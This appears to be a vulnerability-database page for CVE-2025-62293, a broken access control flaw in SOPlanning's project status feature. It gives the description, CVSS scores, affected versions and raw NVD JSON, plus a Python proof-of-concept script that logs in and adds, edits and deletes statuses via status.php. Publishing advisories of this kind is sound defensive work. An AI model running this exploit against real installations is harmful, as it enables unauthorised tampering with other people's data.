Security Vulnerability Report
中文
CVE-2025-62293 CVSS 5.4 MEDIUM

CVE-2025-62293

Published: 2025-11-20 16:15:59
Last Modified: 2025-11-24 13:44:42

Description

SOPlanning is vulnerable to Broken Access Control in /status endpoint. Due to lack of permission checks in Project Status functionality an authenticated attacker is able to add, edit and delete any status. This issue was fixed in version 1.55.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:soplanning:soplanning:*:*:*:*:*:*:*:* - VULNERABLE
SOPlanning < 1.55

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-62293 PoC - SOPlanning Broken Access Control # Target: SOPlanning /status endpoint def exploit(target_url, username, password): """ Exploit CVE-2025-62293: Broken Access Control in SOPlanning /status endpoint """ # Step 1: Login to get authenticated session login_url = f"{target_url}/login.php" session = requests.Session() login_data = { 'login': username, 'password': password } print(f"[*] Logging in as {username}...") response = session.post(login_url, data=login_data) if 'error' in response.text.lower(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Add arbitrary status (privilege escalation) add_status_url = f"{target_url}/status.php" status_data = { 'action': 'add', 'status_name': 'Malicious Status', 'status_color': '#FF0000' } print("[*] Adding arbitrary status...") response = session.post(add_status_url, data=status_data) if response.status_code == 200: print("[+] Status added successfully!") print("[+] This demonstrates unauthorized access to status management") # Step 3: Edit status (privilege escalation) edit_status_url = f"{target_url}/status.php" edit_data = { 'action': 'edit', 'status_id': '1', 'status_name': 'Modified Status', 'status_color': '#00FF00' } print("[*] Editing arbitrary status...") response = session.post(edit_status_url, data=edit_data) if response.status_code == 200: print("[+] Status edited successfully!") # Step 4: Delete status (privilege escalation) delete_status_url = f"{target_url}/status.php" delete_data = { 'action': 'delete', 'status_id': '1' } print("[*] Deleting arbitrary status...") response = session.post(delete_status_url, data=delete_data) if response.status_code == 200: print("[+] Status deleted successfully!") print("\n[!] Exploitation complete - Broken Access Control confirmed") return True if __name__ == '__main__': if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://localhost/so planning user pass123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] exploit(target, user, passwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62293", "sourceIdentifier": "[email protected]", "published": "2025-11-20T16:15:59.060", "lastModified": "2025-11-24T13:44:41.907", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SOPlanning is vulnerable to Broken Access Control in /status endpoint. Due to lack of permission checks in Project Status functionality an authenticated attacker is able to add, edit and delete any status.\n\n\nThis issue was fixed in version 1.55."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:soplanning:soplanning:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.55.00", "matchCriteriaId": "C84D5087-6ED4-47E4-9E68-F1881726E7D2"}]}]}], "references": [{"url": "https://cert.pl/en/posts/2025/11/CVE-2025-62293", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.soplanning.org/en/", "source": "[email protected]", "tags": ["Product"]}]}}